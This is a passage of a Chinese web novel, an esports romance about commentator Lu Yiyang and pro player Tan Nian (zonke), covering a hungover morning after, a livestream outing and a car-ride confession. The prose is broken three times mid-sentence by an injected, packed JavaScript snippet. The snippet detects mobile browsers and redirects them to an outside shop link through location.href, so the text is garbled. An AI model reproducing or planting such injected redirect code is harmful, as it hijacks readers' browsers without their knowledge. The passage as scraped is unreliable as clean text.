他闭着眼睛去抓来抓去,然后膝盖一动,苦皮被撩也痛。 他微微睁开了眼睛,他正在沙发上睡觉。 他有点儿疑惑地看来看去,揉了好几下眼睛。 他身上穿着睡衣,趿拉着拖鞋就来卫生间洗脸。 他喉咙有点苦儿,刚低头漱口抬起来对着镜子脑子里就开始闪回—— 等会儿,他嘴唇上沾着牙膏的泡沫,微微张着嘴巴,他干了什么? 昨天发生了什么? 他盯着马桶,嘴角都不自然地抽了两下。 他看见毛巾都被有序的挂好,他昨天抓着谁,非说这个毛巾被淹死了? 他看见他的衣服已经晒在阳台,谁脱的?谁洗的? 陆意扬的心里升起一股恶寒,匆匆地漱了口咬着自己的手指有点迷茫。 他断片了,能记住的都不知道是真的还是他自己杜撰的。 陆意扬窝在沙发上最紧张的时候,忽然门被推开了! 他猛然睁大了眼睛,只见谈年拎着东西走了进来,看见陆意扬蹲在沙发上,“醒了?” “啊。”陆意扬舔了舔自己的嘴唇,抱着抱枕,也不知道说什么。 “还难受吗?” “......没。” “吃早饭。”他将买来的粥跟生煎包放在桌子上,“蘸醋吗?” “......啊。” 他从厨房拉屉里拿出筷子跟蘸碟放在茶几上,像自己家一样,给陆意扬看呆了。 骨碟放在茶几上落出清脆的一声,陆意扬抱着抱枕有点回神。 “你怎么就买了一份?”陆意扬抬头问。 他也不说话,放完东西把垃圾桶放在陆意扬边上。 “你,你不吃吗?”陆意扬仰头问。 他的眼神落在陆意扬的脸上一刹又收回,脸上写着我怕你不想跟我吃。 陆意扬起身去穿拖鞋说,“我去给你买。” 对面的人忽然嘴角有点儿笑意,轻轻按了下陆意扬的肩膀,“我没什么胃口。” “他家挺好吃的。”陆意扬低头,粥已经递到他的手边。 “有机会再吃吧。”他说。 什么有机会,谁有毛病约早餐啊,早餐那都得一起起床吧.... 陆意扬食不知味,他现在也不知道昨晚上他干什么了,只能低头吃饭。 “那个,”陆意扬吞下去一口粥,“你的衣服洗好了,在那个白色的袋子里,你一会儿带回去吧。” “谢谢。”他就坐在边上滑手机。 也没听出来多感谢。 陆意扬还在低头吃粥,他将手机扣在桌子上,去洗了个手,又开始剥茶叶蛋。 怎么还给人家剥茶叶蛋啊....怪那个的。 “我们...”陆意扬的耳尖都有点发红了,还没到可以剥茶叶蛋的关系吧.... 茶叶蛋上面清晰的棕色纹路,整个蛋都剥完了,陆意扬在思考要是给他的话是放在他的粥碗里还是用手去接,反正也不能用嘴去接吧。 他吃掉了。 哦,不好意思,误会了。 “我们怎么了?”他问。 “没,”陆意扬喝了大半碗白粥,他平常吃半碗粥要配半碗咸菜,现在就干巴巴地吃,“就是...” 第二个茶叶蛋他剥好了,在自己的眼前,陆意扬一怔。 见陆意扬发呆,他将茶叶蛋放在骨碟上,往前一推。 就,就很尴尬呀,好像人家吃了就跟确认了什么一样。 陆意扬这可怎么弄,但是不吃的话又好像拂了人家的好意。 “我回去了。”他用纸巾擦着手,陆意扬还在犹豫,但是似乎答案对他来说也不太重要。 陆意扬还拿着勺子,他刚打开门,门口就有快递员。 “陆先生是吗?您的快递。” “我的。”坐在沙发上的陆意扬放下勺子说,“不是。你的。” 上次赔给他的衣服要等的时间太长了,陆意扬想早点跟他扯清楚,买了一件差不多的。 陆意扬说,“赔给你那个太慢了,这个,我就给你选了一件差不多的,你看看你喜不喜欢。” “哦。”他的口气里有些微微的高兴。 就好奇怪,他就哦啊哦的,陆意扬都能听出来情绪了。 “我走了,你记得擦药。”他捧着盒子带上了门。 陆意扬还有点宿醉的难受,看了下课表,今天还有课?! 陆意扬赶紧抓了一把拎着书包就噔噔噔地下楼。 等要出门的时候又回头,看见那个已经冷了的茶叶蛋,他拿起来叼在嘴里就出了门。 刚一个跨步到楼梯的层半,就看见有人蹲在楼下... 修自行车。 修他的自行车。 这自行车本来就很旧了,昨天撞了一下,链条都掉下来了。 他看见白白净净的谈年蹲在灰暗的楼道墙角,快递的红色纸盒子放在边上,他膝盖跪在地上,抓着他的脚踏正在转链条。 这链条又掉下来了,他沾满机油的手,用手背擦拢了一下头发,然后又将链条卡上去,扶着脚踏转了两圈。 链条好了,车轮还有点歪,陆意扬站在绿色的防盗门内侧,就看着他又在那儿掰车轮,掰得手都发抖了也就回正了一点点,平常这种情况陆意扬都是拿脚来踹的。 陆意扬捏紧了自己的包,四月的暖阳投在他身上。 四月的沪宁告别了阴雨绵绵,今天升温得跟夏天一样。 他将车轮别在墙上,终于将车轮也回正了。 接着他扯了下袖子,掸了一下车座跟把手。 他脸上还有机油,拿纸随便擦了擦,他又低头看着手里的盒子,有点儿笑意地走了。 他现在还有什么东西是得不到的吗?一件普通的衣服,也这么高兴吗? 陆意扬看着他驾车离开,骑上了他的自行车,他往学校走,先把今天的课上了再说。 他戴着鸭舌帽,大学里面的同学都不怎么熟悉,趴在桌子上听教授在上面上课。 陆意扬一点儿上课的心思都没有,满脑子都感觉离了大谱了。 【Kate喵喵:小六老师对不起...】 【6:啊】 【Kate喵喵:昨天你问我的时候,我跟小5在打游戏,年总就听见了,然后就...】 【Kate喵喵:我就擅自骗你要了地址,跟他们说了...】 【Kate喵喵:小六老师会生气吗?】 【6:没】 陆意扬现在烦的都不是这个,他烦的是他自己。 因为他的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16933175|190783||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 脑子告诉他他是个直男,但是手上已经注册了个小号就去看他的微博。 他的微博在成名前是没怎么用过的,成名后都是一些广告,都是运营发的,然后他自己发的很明显,就是最近了。 他互动最多的博主还是羊崽。 陆意扬看见自己的账号还眼皮子一抽。 他发起的「告别脏话」活动下面聚齐了全中国各种IP的脏话,不知道的还以为他有什么收集脏话的癖好。 他关上了电脑,重新集中注意力听教授讲课,讲着讲着,他就开始神游天外,他真的忘记了他昨晚上干了什么,他给我换了衣服?怎么换的?裤子也被擦干净了,我弄脏的衣服也是他洗的吗?卫生间的卫生也是他搞的吗?马桶也是他刷的? 陆意扬死活想不起来,他微微弯了下膝盖还有点疼。 后脖颈的红斑都还没有完全消退下去。 他感觉耳朵都不自觉地红了。 他挠了好几下,心里乱糟糟的。 下课铃声是响了,陆意扬趴在桌子上转着笔,转了一会儿又低头刷微博。 这个手机绝逼监听人了! 推送的都是些什么鬼东西! 【你还在为自己同性恋苦恼吗?你还在会对异性不感兴趣而焦虑吗?】 【厌恶疗法(aversion therapy)是比较普遍....】 【行为认知疗法(acongnitive-behavioral....)】 【以上疗法都在一定程度上对身心造成创伤,而我院的中药理疗....】 啊!陆意扬又在心里发出无声但是尖锐的爆鸣,你推给我干嘛呀!你推给他呀! 我治疗什么啊!我他妈的一个大直男! 陆意扬赶紧给他刷掉,下一条: 【极致be的同性美学,看懂的人都哭了。】 是不是有毛病!我真求你了手机活爹。 陆意扬赶紧再刷下一条: 【怎么判断对同性的是欣赏还是真的喜欢?】 嘶.... 这个倒是.... 不妨一试。 【嗨,您是不是想判断一下自己对同性是Platonic的欣赏还是真的喜欢呢?】 【那么,第一题:你是否想时常跟他待在一起?】 【第二题:是否幻想与对方的甜蜜互动?】 【第三题:初次相见的时候的你是什么感觉呢?】 【第四题:....】 五十来道题,陆意扬咬着手指都做了一遍,结果跳出来一个: 恭喜你答完了58题,耗时27分钟。 【本次解锁-查看结果19.88元 周度会员-无限测试29.99元 年度会员-......】 不是,有病吧? 【该报告包含完整解读+潜在问题剖析+定制化发展建议...】 【自测报告包含双方心理评估+好感度一览+全文超过2000字+1对1解读...】 【该结果将在00:29秒后失效。】 妈的..... 铁公羊陆意扬一咬牙一跺脚! 花了19块8毛8! ..........确诊了自己是同性恋 ? 42.听我狡辩 陆意扬今天下午也有课。 他在食堂随便吃了点东西,就又回来上课了。 他昨晚上睡觉了吗?这个点应该还在睡觉吧。 陆意扬现在真是没法打开任何一个APP,什么APP都跟他有关系,烦得很。 他最后打开了欢乐斗地主。 他的牌太烂了,一堆散牌,最大的是个A。 他刚想点不要。 【您关注的PAX-zonke开始直播了哟~】 手一抖,点了个3分。 陆意扬真服了。 想把直播推送给点了,这破东西一下子就跳转到淘宝了。 陆意扬服了二连,这牌也不要打了。 他咬着手指犹豫了一下,还是点进了PAX-zonke的直播间。 他忘了他送了礼物了,这账号一进来就金灿灿的,但是金灿灿的也没事儿,反正他直播间的等级高的号那么多,也注意不到自己。 但是比他的账号进来更惹眼的是,今天的主播穿了一件红色的卫衣。 他看起来心情不错,今天还在直播间放上了一点儿音乐,半戴着耳机。 标题还是那个【等人】 弹幕开始遮挡屏幕: 【昨天的比赛你怎么没上?】 【还等人呢?】 【不对,他看起来心情挺好,今天还放音乐了。】 【你不热吗?你这个衣服好厚啊?】 【估计是心里太冷,要穿得暖和一点。】 【快点打游戏!】 “不热。” 【沪宁今天都三十度了。】 【分析一下昨天的PAX的常规赛!】 这么多问题,他唯独选了人家问的衣服。 陆意扬想了一下,他买的好像是白色的,但是看款式好像是他选的那个啊? 明显白的比红色适合他啊。 陆意扬打开了淘宝。 【天才66:你给我发的衣服是什么颜色?】 【客服:您稍等呢~】 【客服:亲亲收到的是什么颜色呢?】 【天才66:你问我啊?】 【客服:不好意思!刚刚核对了是仓库搞错了,给亲亲发了红色的,那亲亲可以寄回我们给您调换,亲亲麻烦您了呢。】 【天才66:......】 【客服:这边给亲亲补偿一个不好意思哦。】 【天才66:?不打算赔我0个15元红包或者15个0元红包?】 【客服:也可以的哦,但是您可以返图30字以上好评这边送你30元现金红包+20元道歉心意哦。】 【天才66:我送人了,我怎么拍啊?】 30秒后—— 【天才66:直接现金?没坑我吧?】 【客服:亲亲当然了哦。】 陆意扬又去他的直播间,截图,放大,再放大,然后就截图,特意在边上打掉了一些马赛克。 【天才66:衣服很好看,面料很舒适,客服很周到,问题响应快,朋友很喜欢,下次还会购买![图片][图片][图片]】 这个他很喜欢还是硬生生字数不够加进去的。 陆意扬刚评论完就看见这自己的支付宝果然到账了50元。 哎呀,反正他穿,跟我有什么关系。 陆意扬沉浸在自己这好歹也回了50元的血里面沾沾自喜。 这会儿也下课了。 下午两点多,陆意扬拽着他的自行车要回家。 他路过便利店也没买盒饭,他得回去把冰箱里的菜吃了。 他其实也不知道他急匆匆地赶回家有什么事儿,但是就想回来。 这天初热,陆意扬到家就出了一身的汗。 他洗了个澡坐在电脑面前,又像个贼一样摸进了他的直播间。 一进来,他的眼珠子又要坏了。 【速去他这件衣服下面看评论!】 【复制该链接打开跳转淘宝,&[EADR男装春日....]】 【是小六送的,他还好评了!】 【我说这大热天的怎么穿这种卫衣...】 【没拒绝啊?还送衣服了?】 【感情他不是来直播的,来炫耀的?】 【你家小六说下次还给你买。】 【到底打不打游戏?】 ????? 不是.... 听我解释... 我是赔给他的,不是送给他的。 再买是,好评返现... 算了,都去死了算了。 陆意扬心如死灰,觉得他最近的智商下降得厉害。 【直男感动,小六给自己买衣服都是200+给zonke都是3000+...】 【你们怎么知道是他呀?】 【他的淘宝后台可以看见啊!都叫天才66了!】 我草!陆意扬内心一个我了个大草! 【淘宝还有充值记录,买了3个1000的元宝币!】 【等下,我们观察一下消费榜!】 不是,听我解释,这是他送了东西! 而且,淘宝买可以便宜一点点啊.... 【有了!排名第十七的那个!有零有整的!】 【我已经进入小六的小号主页了。】 不是!陆意扬现在还没找到淘宝后台怎么关,他们已经进化到小号了! 【他就只关注了zonke一个人啊!】 【而且送的还是「元宝给你,爱也给你」的礼物!】 不是! 就他妈那个玩意儿1000啊! 【小号不是就在直播间?偷看zonke呢?】 【@元宝453212,出来聊聊啊,躲在那里干嘛呢?】 陆意扬把键盘一推,掐着自己的眼眶,都去死了吧。 屏幕里的人靠在电竞椅上开始翻自己的贡献榜,鼠标在「元宝453212」停留,反手点了一个「特别关注」。 ........... 陆意扬现在觉得走也不是,不走也不是,要不然还是装死好了。 屏幕里的人低头看了一会儿手机,又抬头说,“不好意思,今天还有点事,下了。” 【下了?你就是纯来秀恩爱的吧?】 【我觉得他是去找小六了。】 【WATA2第一勇,直播出柜。】 【男嫂子也好,没有那些嫂子能作妖。】 【春季赛要是冠军我连你跟小六一起溺爱,要是战犯老子炸了你的直播间。】 【无所谓,要是季后一轮我会狠狠骂。】 【恋爱脑无所谓,手速要是慢了恕我给你吃大刀。】 【zonke居然是gay,那他的女友粉怎么办?】 【何来女友粉?老娘只慕强。】 【这场出柜只有羊崽1人受伤。】 陆意扬坐在电脑屏幕面前晃神了好一会儿,中午也没吃饱,他打开冰箱,里面配好的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16946367|190783||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 菜他得快点儿吃了。 他刚想自己焖一点米饭,才发现米桶里面已经没有米了。 他过去拿手机还想给自己下单个跑腿送米,才发现手机上有不少的消息。 他上课静音,回来就瞎搞八搞的忘了。 陆意扬看着好几个珂珂的未接来电,刚想打过去,电话又响了。 陆意扬一边往嘴里投蓝莓,一边歪着脖子接电话。 “怎么才接电话呀!今天的解说家里出了点事,然后再找解说,我想着你应该可以来,就自作主张地帮你报名了,结果就找不到你了。” 比赛是7点,但是现在已经是下午4点多了,他要是赶过去,路上还要挤地铁,时间特别紧了。 “那我过来了。” 陆意扬将蓝莓盖上盒子拿在手里,也没什么别的要准备的,就直接下楼了。 他从楼道里刚拽出来自行车骑到小区门口,就见那辆熟悉的车停在门口。 谈年也刚到,还是穿着那件红色的卫衣,今天他没有戴帽子。 有种二次元的人猛然从屏幕里钻出来感觉,吓了陆意扬一大跳。 陆意扬还捧着他送的蓝莓。 “她们说,打不通你电话。”他舔了嘴唇,往前走了两步,“我...” 陆意扬艰难地把自己嘴里的蓝莓咽下去。 “我能送你过去吗?” “啊...”陆意扬有点想挠自己的后脖颈,“我自己也能...” “我顺路,去,去买东西。” 又买东西,陆意扬已经被这个没脑子的借口麻痹得听见都不会惊讶了。 然后他绕过去打开了车门。 就像个木头一样站在那里。 陆意扬最终还是上了车,主要是地铁虽然快,但是除了地铁之外还要走很多路,要是有共享单车还好,没的话就得走路了。 陆意扬今天起得早,脆皮老鼠人确实有点累。 而且对面这人似乎自己不上车就打算一直站在哪里了。 他坐在副驾,说来还是第一次大白天共处在一辆车里。 陆意扬捏着自己的安全带,他旁边的人坐得有点正,规范地两只手开车。 但是陆意扬从前看到过他歪在车上,叼着烟开车的照片啊,这是一个人吗? 又要开始找话题。 “你起来了之后吃饭了吗?”陆意扬问。 “没有。” “哦。”陆意扬捏着蓝莓,“那前面的赛百味我去给你买一点吗?” “不用了。” “哦。”陆意扬又说,“那你吃蓝莓吗?” “你吃。” 陆意扬也不好意思玩手机,看着窗外往嘴里扔蓝莓。 这车里的空调对着陆意扬吹倒是还行,但是他看司机穿这么多已经要出汗了。 陆意扬伸手去旋空调的旋钮把温度调低,然后把自己这边的出风口关小一点儿。 好尴尬呀,怎么跟他在一块总是这么尴尬啊,说点什么呀。 陆意扬的手指抠着蓝莓的盒子,但是他又不知道昨晚上自己都干嘛了。 “昨天晚上...”陆意扬犹豫了一下 ,“我是不是有点失礼了?” 陆意扬明显能感觉这车突然顿了一下又往前走,他说,“还好,就是话多。” “啊?”陆意扬完全不知道自己干了什么鬼事,惊恐地问:“我说了什、什么?” “你说...”旁边的驾驶员眨巴了两下眼睛,“上一次你不舒服,没有人在你旁边。” 43.震撼首发 车辆上了高架桥,速度有点儿变快。 陆意扬觉得得找话题,不然这一路也太遥远了,他也不想跟他继续断片的话题。 “你来送我会耽误你队伍里训练吗?”陆意扬问。 “还好,晚上练团。”他说。 “啊,几点啊。” “8点,不知道椰哥约哪个队伍。” 一说到游戏,听起来二人聊天就正常多了。 “你们春季赛我觉得希望挺大的。”陆意扬说,“但是其他队伍都早就在训练赛了。” “嗯,”他说,“春季赛的版本还好。” “嗯,”陆意扬说,“R21...可以找来多练练团,他们上次就是好几次没开到先手,这个队伍还是挺有想法的。” “嗯。” “他们的辅助玩得也挺聪明,”陆意扬说,“小5应该很讨厌跟他们队伍打。” 谈年有一点笑意,“对。” “你们队伍的阵容都是谁在拿?”陆意扬问,“打R21那两把,阵容拿的太奇怪了,感觉像你拿的,但是你好像不太管拿阵容。” “因为......你在解说。” “跟我解说有什么关系。”陆意扬说,“什么阵容都能说。” “打慢了,耽误下班。” 陆意扬忽然严肃起来,“比赛要好好打,不要...不要因为别的原因就,这样。” “什么原因?” 陆意扬一下子语塞,“不能让解说早下班就这样。” 他舔了一下嘴唇,捏紧了方向盘,“不是你想的那样,试试阵容,椰哥也点头了,然后K哥还要送妹妹回家,我也,我也想...所以就打得比较快。” 陆意扬觉得自己有点小题大做。 “没有,我也不是这个意思,就是,”陆意扬感觉自己变成了一只苍蝇,一直都在搓手,“总弄得像你在等我一样,我有点误会了。” “可能,”他又开始那个不说话的死样子了,憋了几秒,“你没误会。” 这给陆意扬gank了,他舔了半天嘴唇,感觉要是跳车的话会好一点吗。 陆意扬躲了一百遍的问题,还是要迎头痛击他了吗。 “.......就,我们好像认识的时间有点...短。” “短吗?” 这倒是把陆意扬问住了。 陆意扬从他刚成名就在了,甚至可以说是看着他从路人王到WPL空降PAX首发去的,到现在都一年多了,他们经常沟通,当然这个沟通可以打十个问号。 这怎么回答啊。 陆意扬还是硬着头皮说:“我....我其实也就.....网上看你多一点,这个.....” “算起来就是碰巧沪宁城市赛的时候见、见过,没一个月呢还。” 陆意扬给自己找了一个完美无缺的借口。 “沪宁城市赛,”司机咂摸了一下这句,“碰巧。” “对.....”陆意扬说:“所以....” 时间很短,对吧? “不是碰巧,去看你的。” ? “看.....看什么?”陆意扬已经人都缩到靠门的一侧去了。 “你好看。” 他说得风轻云淡,陆意扬如遭雷劈。 哪有夸男的好看的啊! 而且我应该说啥? 是商业互吹说你也好看,还是客气一下说我其实一般一般? 陆意扬的嘴唇最近是要被自己舔出洞来了,幻肢已经抓耳挠腮,不知道怎么回答。 接着这个神经病转过来,从前他的打量还有点收敛,现在可以称为放肆了。 逼得陆意扬只能装看窗外,伸出手指一直抠窗户。 “陆意扬。” 能不能别叫我了! 驾驶员很轻地笑了一声,“很高兴能送你上班。” 你怎么不问我高不高兴? “虽然每次都我硬要送。”他开了一点窗户,车窗内对穿风噪让他的声音有点不是特别清晰,接着他说:“你看起来也不太愿意。” 你还知道我不愿意呢? 外面车流的喇叭声遮盖了他的声音,陆意扬的听得不太真切。 他说:“但是能见到你就很高兴了。” 你.....你...... 有什么好高兴的啊...... 你别说话了行吗我求你了..... 陆意扬都要给车玻璃抠出一个洞来了,耳朵也热得不行,还好! 救命的WATA大楼到了! 大楼前面转角可以停车,陆意扬也不好意思说哥走了你也赶紧回吧。 车停好,“那我,那我走了。”陆意扬忙不迭想跑了。 “等我一下,想上厕所。” 那你都说了我怎么办? “哦。”陆意扬打开车门往下走。 二人并排一起往大楼里面走。 “一楼也有厕所,在那。”陆意扬指了个方向。 “我想上去喝杯水。” 啧。 然后他没顾陆意扬的死活,直接按了电梯。 硬着头皮只能跟他一起上电梯。 二人从电梯出来,迎面就遇上了一堆人,来这儿签字的。 八戒TV的案子牵扯到许多游戏,而WATA2算是第一个官方出面联合俱乐部来追偿讨薪的游戏公司,这事儿让WATA2疯狂拉了一波好感度,让其他官方不作为的玩家主播们狠狠羡慕了一把,营销号将这事儿剪得飞起,当然有可能他们自己买的。 WATA2也是在俱乐部成功解约之后继续帮助从前人气不错的美女主播或者散人大神主播签约至自己的元宝TV,且分成稍微能压上一压,挣钱的同时变相地又给自家的元宝TV挣了一波流量。 换句话说,他们面前的是一大堆的主播,活跃于WATA2的各个角落。 他们看见小六跟zonke一起出来,也是有些没想到。 陆意扬认识他们,但是他们也是最近才知道这个无名解说的,倒是他身边的谈年,立马就有人开始打招呼,接着就是此起彼伏的“zonke老师好。” 谈年微微点头,伸出几根手指摆了摆,“你们好。” 能做主播的自然是会抓流量的,好几个人后排的人都已经偷偷打开了手机。 配合着压低声音的口播: 【震撼首发!你们猜主播过来遇到了.....】 【重磅基佬!快给主播点点关注第一视角.....】 陆意扬已经呆了。 他站在电梯里,不知道要怎么办。 “他要迟到了,麻烦让一下。”谈年说,“谢谢。” 人群自觉让开了一条道,但是人有点多,陆意扬的包被人群挤下来了。 谈年低头拎起他的包。 陆意扬感觉自己的后背都被眼神盯麻了,也不好意思在这里跟他抢包,手指只用了一点力,还是松了。 前面就是陆意扬的解说室,很小的一间。 “那我,那我过去了。”陆意扬低着头说。 “好。” 陆意扬到位置上坐下来,心都现在都跟跳楼机似的。 他今天搭档也来了,一个叫图图的男孩儿。 图图长得比帅,有点像从前的一个招风耳的明星。 从前就是个小网红,后来来做解说了。 “你好啊小六老师。”图图大大方方的,“今天合作愉快啊。” 陆意扬强打精神跟他问好。 图图是半路解说,性格很好,跟大嘴不一样的是这个人特别开得起玩笑,也知道自己的游戏理解一般,但是这个人比较出圈的是...说来萝卜青菜各有所爱,他的出圈是一些玩笑词。 比如在陆意扬的印象里,“睡到了!睡到了!恣女一个大招睡到了对面五个男人!” 或者是,“亚可扛起了他的大枪,这个男人有用不完的子弹!今夜的MVP属于这个男人中的男人!向您致敬!” 非常出圈,陆意扬都经常能刷到这样的视频。 陆意扬感觉有点恶趣味。 很多时候跟他搭档的主播,解说了半天,还没有人家一句话的弹幕飞得快。 跟他搭档压力也是有点大。 但是陆意扬是临时被拉来替补的,反正好赖就这么一晚上。 陆意扬低着头看今天的队伍选手资料,那边的导儿在调试麦克,内部测试线路。 常规赛到现在,解说也固定,比赛日也一周也就四个,已经没有了当时May刚离开时候的慌乱了。 图图早就看完了这些,现在坐在边上看手机,突然哇哦了一声,陆意扬刚要问,一只手突然出现,是一瓶拧好的水,放在他的桌子上。 “今天你出门着急,没带保温杯 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16954453|190783||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。”他说。 “.......”陆意扬抬头看他,看见他就说不清楚话,但是这么多人呢,也不能下他面子什么的,于是说:“你晚上不是还有练团吗,别,别迟到了。” “嗯。” “哇哦,我在吃瓜第一线吗?”图图在这里像个电灯泡,撑着脸吹出个泡泡:“我磕的CP居然是真的。” 陆意扬耳朵尖儿都红了,摆了摆手,“不....不是...” “目前还不是。” 然后他走了。 陆意扬整个人尬在原地。 什么叫目前不是? 你这样人家会误会的呀! 他一走,图图凑过来问,一脸八卦样,“小六老师,他真的在追你呀?” “啊......”陆意扬埋头看资料一个字也没看进去,“我......” 我上哪知道! 他就干那种让人误会的事情..... 但是.....他也没跟我说....说那种话啊。 还有五分钟就要开播,陆意扬正了一下衣服,喝了口水润了润嗓子。 试了一下麦克,前面的导儿示意OK。 晚上7点,WPL春季赛第五个比赛日的比赛正式开播。 “欢迎大家在北京时间7点锁定我们的WATA2比赛官方直播间,大家好,我是你们的朋友图图。” “我是小六。” 屏幕上还没有出现数据图,两个解说的画面就得相互拉拉家常。 “第一次跟小六老师搭档还是蛮开心的,”图图的台风是一如既往地稳,声音也比大嘴好听了许多,“比我预计的合作提早了很多......” 陆意扬回复了一些客套话,两边的数据图也开始奉上。 WPL虽无弱旅,今天的上下两场比赛队伍都不是坦克级别,所以在BP方面都也没有太大的针对性,拿的阵容也是中规中矩。 常规赛的时候很多队伍都在稳中求胜,不像季后赛会殊死一搏,所以几场比赛下来也没特别大的亮点。 今天比赛最大的亮点就是弹幕量,没别的原因,因为下午五点多的时候,不少主播都在前排给观众送瓜吃:偶遇zonke送小六上班。 陆意扬在第二把游戏结束了时候扫了一下弹幕。 基本没人注意他们解说了什么,寥寥几人在乎比赛打了什么。 珂珂在这个时候走近了。 陆意扬刚要掐烟。 “不用掐,抽吧。” 二人站在窗口,“看了弹幕,不高兴啦?” “有点儿,”陆意扬牵强地笑了一下,“都是来看我八卦的,这也讲得太难听了。” “那怎么了。”珂珂问。 她的眼睛在夜里亮晶晶的。 哪个解说会不希望观众跟游客是因为自己的解说够客观,够专业,有节奏,有激情才留在这里。 但是陆意扬身上的热点是卖屁股、蹭热度、人前拒绝人后送礼,陆意扬看完都觉得至于吗我是给你们爹杀了吗。 “你得先站到那去,再说你想说什么。”珂珂道。 陆意扬皱眉。 “从前我还在读大学的时候,暑假工,在宣发组实习,去参加ENPL展览,好多游戏啊,我们WATA2比不上LOL,也比不上农药,人家热度都很高,人多,都挤在我们展馆面前,把我们东西都弄倒了,我们那时候就急啊,明明我们WATA2的英雄也做的非常好,怎么就要被分三六九等,主办方最后还是让我们体谅一下。” “因为我们人气不够啊,哪怕我们做的东西比他们精致,展台也比他们用心,就站在他们旁边,也不能被看见。” “说我们抄袭的也有,说我们垃圾的也有,WATA2的瓜就这么多,但是去年,我们WATA2再参加ENPL的展览,更多的游戏了,但是很多游客都是为我们来的,一点来时路而已,小六老师,我觉得你是不是有点矫情了。” “我这个人既要又要的,纯在这里装逼,”陆意扬拍了拍珂珂的肩膀,“可能小火了一下,有点不适应。” “你这个人我是开导完了,开导完了之后我要问什么你是知道的吧?”珂珂揶揄。 “你怎么也跟着八卦啊,”陆意扬说,“这事儿我就是没法说。” “我都看出来了,他在追你。”珂珂说,“你不喜欢吗?” “我....” 44.表白了吗 比赛也在19分钟结束,SUA2-0带走了K1。 “非常高兴陪伴各位看到今天精彩的4场比赛,请大家持续关注我们的WAT2春季赛的赛程。”陆意扬刚说完结束语,前面的人已经开始动起来,还有一点儿剩下的直播小程序,直播间人数已经在极速下降,图图还在兢兢业业抽奖。 陆意扬刚要伸手去拿水的时候,发现瓶子已经空了。 再接着一瓶水递到他眼前。 “你怎么来了?”陆意扬惊诧道。 “接你下班。” “.....小六老师....你麦没摘....” 陆意扬匆匆说了一声抱歉,关闭了麦克。 赛事组的人都与选手相熟,有些赛事组人员结婚,俱乐部也会送出红包。 宣发跟赛事巴不得他们多创一点话题出来,好给自己的游戏省点宣发,数据才是硬道理。 “你,你晚上不是要训练赛吗?”陆意扬问。 “打完了。” “你...”陆意扬皱眉,“好好打了吗?” “嗯。”然后他又补了一句,“好好打的。” “你吃饭了吗?”陆意扬问。 “没有。” 陆意扬又沉默了。 真是多余问。 难道他们还要一起去吃饭? “别的队伍都很忙了。”陆意扬尴尬的时候显得很忙,也不知道他的两个手指头有什么好忙的,“你不要....” 他抿了抿唇,看着陆意扬的样子,“时长都到了,才出来的。” “哦,”陆意扬说,“不要耽误你的事情。” “走吧。”谈年僵硬地伸了一下手。 陆意扬也不知道他们现在算是在干嘛,他也不知道说什么。 前面电梯等的人好多,赛事组的人都在那,陆意扬说,“走,走楼梯吧。” “嗯。” 二人从楼道往下,回声有点大。 似乎是受不了沉默,陆意扬佯装轻松地问,“晚上的训练赛怎么样。” “一般。”他说。 又沉默了。 “跟HOPE打的,他们好像在试阵容然后,”谈年舔了下嘴唇,开始找一些话题,“他们选的油漆工,月轮,奥帕...还有维修师跟猴子,然后,他们...” “没控啊这个阵容。” “嗯。”谈年说,“然后我们选了海妖地雷还有,寒冰那些。” 陆意扬没说话,他似乎觉着自己应该多说话,接着又开始,“小5就去他们野区抓维修师,B哥叫他回来,然后他们吵了几句,飞星玩的月轮还出了跳石,B哥也说他了,嗯,那个K哥没跟上,B哥也说了。嗯。” 陆意扬觉得特别奇怪,就这个人打游戏的时候灵巧得很,又特别聪明,但是你让他讲,他就结结巴巴的,不知所云。 “那B哥说你了吗?”陆意扬问。 “没。” 然后谈年又开始补,“抢了野,也说了。” 陆意扬说,“你抢的K哥的野,B哥干嘛说你呢。” “因为B哥也要抢他的野。” 陆意扬笑了一声,“B哥这么坏。” 谈年不说话。 陆意扬接了一句,“你也差不多。” “那我下次不抢了。”谈年说。 “我开玩笑的。”陆意扬感觉轻松了一点,“你怎么想的选PAX啊。” 按照新队员应该都只签了一个赛季,按照谈年当时的表现,去年秋赛或者今年春赛其他的战队也是可以考虑的。 “没几个队伍缺中单。” “也是,”陆意扬说,“但是我觉得PAX很适合你。” “今天没看你的解说。”谈年说完又,“但是,但是路上看了一点。” “今天两个队伍短板都有点明显,感觉说的有点儿不招人待见。”陆意扬说,“但是我也没觉得错了。” “没事。” 楼梯已经到了一楼,二人并肩出来,“你要吃饭,还是回家?” “我觉得你送我回去再会基地太晚了。”陆意扬说,“下次别过来了。” 